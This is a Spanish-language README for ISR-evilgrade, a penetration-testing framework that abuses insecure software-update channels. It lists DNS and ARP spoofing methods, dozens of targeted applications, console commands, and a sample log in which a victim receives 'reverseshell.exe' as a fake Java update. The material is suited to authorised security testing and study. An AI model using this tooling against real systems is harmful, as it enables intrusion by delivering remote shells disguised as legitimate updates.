Faraday Security Research -- | ISR-evilgrade | www.faradaysec.com | --

.:: [RESUMEN BREVE] ::.

Evilgrade es un marco modular que permite al usuario aprovechar implementaciones de actualización deficientes mediante la inyección de actualizaciones falsas. Viene con binarios predefinidos (agentes), una configuración predeterminada funcional para pruebas de penetración rápidas, y tiene sus propios módulos de WebServer y DNSServer. Fácil de configurar nuevos ajustes y tiene una autoconfiguración cuando se establecen nuevos agentes binarios.

* ¿Cuándo debería usar evilgrade?

Este marco entra en juego cuando el atacante puede hacer redirecciones de nombres de host (manipulación del tráfico DNS de la víctima), y esto se puede hacer en 2 escenarios:

Escenario interno:

Acceso DNS interno
Suplantación ARP
Envenenamiento de caché DNS
Suplantación DHCP
Secuestro TCP
Suplantación de punto de acceso Wi-Fi

Escenario externo:

Acceso DNS interno
Envenenamiento de caché DNS

* ¿Cómo funciona?

Evilgrade funciona con módulos; en cada módulo hay una estructura implementada que es necesaria para emular una actualización falsa para una aplicación/sistema específico.

* ¿Qué sistemas operativos están soportados?

ISR-Evilgrade es multiplataforma; solo depende de tener un payload apropiado para la plataforma objetivo correcta a explotar.

Módulos implementados:

Freerip 3.30
Jet photo 4.7.2
Teamviewer 5.1.9385
ISOpen 4.5.0
Istat.
Gom 2.1.25.5015
Atube catcher 1.0.300
Vidbox 7.5
Ccleaner 2.30.1130
Fcleaner 1.2.9.409
Allmynotes 1.26
Notepad++ 5.8.2
Java 1.6.0_22 winxp/win7
aMSN 0.98.3
Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
Mirc 7.14
Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
Dap 9.5.0.3
Winscp 4.2.9
AutoIt Script 3.3.6.1
Clamwin 0.96.0.1
AppTapp Installer 3.11 (Iphone/Itunes)
getjar (facebook.com)
Google Analytics Javascript injection
Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
Winamp 5.581
TechTracker (cnet) 1.3.1 (Build 55)
Nokiasoftware firmware update 2.4.8es - (Windows software)
Nokia firmware v20.2.011
BSplayer 2.53.1034
Apt ( < Ubuntu 10.04 LTS)
Ubertwitter 4.6 (0.971)
Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
Cpan 1.9402
VirtualBox (3.2.8 )
Express talk
Filezilla
Flashget
Miranda
Orbit
Photoscape.
Panda Antirootkit
Skype
Sunbelt
Superantispyware
Trillian <= 5.0.0.26
Adium 1.3.10 (Sparkle Framework)
VMware
more...

/docs/CHANGES

.:: [USO PRINCIPAL] ::.

Funciona de manera similar a una consola IOS``` evilgrade>help Type 'help command' for more detailed help on a command. Commands: configure - Configure - no help available exit - exits the program help - prints this screen, or help on 'command' reload - Reload to update all the modules - no help available restart - Restart webserver - no help available set - Configure variables - no help available show - Display information of . start - Start webserver - no help available status - Get webserver status - no help available stop - Stop webserver - no help available version - Display framework version. - no help available

Object: options - Show options of current module. vhosts - Show VirtualHosts of current module. modules - List all modules available for use. active - Show active modules.

## Lista de módulos implementados``` console
evilgrade>show modules

List of modules:
===============

...
...
...

- 63 modules available.

Configurar un módulo específico``` console

evilgrade>conf sunjava evilgrade(sunjava)>

#### Muestra todos los VirtualHosts.
#### El campo VirtualHost contiene los dominios que nuestro servidor web va a emular para nosotros.``` console
evilgrade>show vhosts

Virtual hosts:
=============

[
  "java.sun.com",
  "javadl-esd.sun.com",
  ...
  ...
  ...
]

Mostrar opciones del módulo actual.

agent: Este es nuestro binario de actualización falso, debemos establecer la ruta a donde se encuentra o implementar una generación dinámica de binario de actualización falso (ver ADVANCED).``` console

evilgrade(sunjava)>show options

Display options:

Name = Sun Microsystems Java Version = 2.0 Author = ["Francisco Amato < famato +[AT]+ faradaysec.com>"] Description = "" VirtualHost = "java.sun.com|javadl-esd.sun.com"

#### Iniciar servicios (Servidor DNS y Servidor Web)``` console
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

#### Waiting for victims

evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

Mostrar registros de estado y víctimas``` console

evilgrade>show status Webserver (pid 4134) already running

Users status:

.---------------------------------------------------------------------------------------------------------------. | Client | Module | Status | Md5,Cmd,File | +----------------+------------------+--------+------------------------------------------------------------------+ | 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" | '----------------+------------------+--------+------------------------------------------------------------------'

## .:: [USO PROFUNDO] ::.

### Comandos
#### configure / conf - Configurar <module-name>

evilgrade

Más Populares